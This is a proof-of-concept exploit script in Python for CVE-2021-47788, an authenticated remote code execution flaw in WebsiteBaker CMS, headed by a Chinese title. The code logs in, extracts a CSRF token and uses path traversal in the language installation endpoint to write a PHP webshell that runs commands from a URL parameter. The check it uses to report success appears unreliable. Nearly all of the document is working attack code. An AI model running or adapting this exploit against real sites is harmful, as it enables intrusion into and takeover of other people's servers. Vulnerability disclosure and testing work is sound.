CVE-2021-47788 WebsiteBaker 认证后远程代码执行漏洞

# CVE-2021-47788 PoC - WebsiteBaker Authenticated RCE via Language Installation # Target: WebsiteBaker CMS <= 2.13.0 # Requirement: Valid account with language editing permissions import requests import re from urllib.parse import urlencode TARGET_URL = "http://target-website.com/websitebaker" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() def login(): """Authenticate to WebsiteBaker with valid credentials""" login_url = f"{TARGET_URL}/admin/login/index.php" login_data = { 'username_fieldname': USERNAME, 'password_fieldname': PASSWORD, 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=login_data) return 'wb_user_id' in session.cookies def get_csrf_token(): """Extract CSRF token from language settings page""" lang_url = f"{TARGET_URL}/admin/languages/index.php" response = session.get(lang_url) match = re.search(r'name="[\w]+token[\w]*"[\s]+value="([a-f0-9]+)"', response.text) return match.group(1) if match else None def exploit(csrf_token): """Execute RCE by injecting PHP code via language installation""" # PHP webshell payload webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" exploit_url = f"{TARGET_URL}/admin/languages/save.php" exploit_data = { 'type': 'install', 'action': 'save', 'security_token': csrf_token, # Exploit: Inject PHP code into language file path 'name': 'rce_lang', 'code': webshell, # Write to web-accessible directory 'path': '../../../modules/rce.php' } response = session.post(exploit_url, data=exploit_data) return f"{TARGET_URL}/modules/rce.php?cmd=whoami" in str(response.content) def main(): print("[*] Starting CVE-2021-47788 exploitation...") if not login(): print("[-] Authentication failed") return print("[+] Login successful") token = get_csrf_token() if not token: print("[-] Failed to obtain CSRF token") return print(f"[+] CSRF token obtained: {token}") if exploit(token): print("[+] RCE payload deployed successfully!") print(f"[+] Webshell accessible at: {TARGET_URL}/modules/rce.php") else: print("[-] Exploitation failed") if __name__ == "__main__": main()